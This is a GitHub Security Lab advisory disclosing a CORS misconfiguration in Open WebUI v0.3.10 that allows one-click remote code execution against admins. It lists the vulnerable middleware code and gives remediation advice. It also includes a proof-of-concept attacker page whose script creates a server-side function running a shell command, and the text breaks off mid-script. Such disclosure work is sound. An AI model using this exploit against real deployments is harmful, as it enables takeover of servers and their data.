Open WebUI: Open WebUI has a CORS misconfiguration and session validation issue

GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175`

The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [open-webui](https://github.com/open-webui/open-webui).

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-174 or GHSL-2024-175 as a reference). See also [this blog post](https://github.blog/2022-04-22-removing-the-stigma-of-a-cve/) written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are _NOT_ the correct point of contact for this report, please let us know!

Summary

Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.

Project

open-webui

Tested Version

[v0.3.10](https://github.com/open-webui/open-webui/releases/tag/v0.3.10)

Details

Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`)

CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the /api/v1/functions endpoint (admins) can execute arbitrary code on the openwebui instance.

The following pattern occurs at the following routers: 1. [backend/apps/webui/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/webui/main.py#L92) 2. [backend/apps/audio/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/audio/main.py#L58) 3. [backend/apps/images/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/images/main.py#L60) 4. [backend/apps/rag/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/rag/main.py#L246) 5. [backend/apps/openai/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/openai/main.py#L47) 6. [backend/apps/ollama/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/ollama/main.py#L62) 7. [backend/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/main.py#L881)

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

Impact

This issue may lead to Remote Code Execution.

Remediation

The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying allow_origins=["*"]. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as "*" or "*.com"

Proof of Concept

Host the following code on your website, attacker.com. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command whoami placed into a newly created file /tmp/whoami.txt. Ensure you have logged into an admin open-webui account

<body>
    <p>Click here to login.</p>
    <div id="response"></div>

    <script>
      //Firefox cross site cookie request bypass
      const url = 'http://localhost:3000/static/favicon.png';
      document.addEventListener("DOMContentLoaded", () => {
        document.onclick = () => {
          open(url);
          filter_id = "okok"
//Create a function/filter to write code
fetch('http://localhost:3000/api/v1/functions/create', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    "id": filter_id,
    "name": "test2",
    "meta": {"description": "test2"},
    "content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n    class Valves(BaseModel):\n        priority: int = Field(\n            default=0, description=\"Priority level for the filter operations.\"\n        )\n        max_turns: int = Field(\n            default=8, description=\"Maximum allowable conversation turns for a user.\"\n        )\n        pass\n\n    class UserValves(BaseModel):\n        max_turns: int = Field(\n            default=4, description=\"Maximum allowable conversation turns for a user.\"\n        )\n        pass\n\n    def __init__(self):\n        # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n        # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n        # Alternatively, you can remove the files directly from the body in from the inlet hook\n        # self.file_handler = True\n\n        # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n        # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n        self.valves = self.Valves()\n        f = open(\"/tmp/whoami.txt\", \"w\")\n        import subprocess\n\n        output = subprocess.getoutput(\"whoami\")\n        f.write(output)\n        f.close()\n        pass\n\n    def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n        return body\n\n    def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n        return body\n"
  }),
  credentials: [...]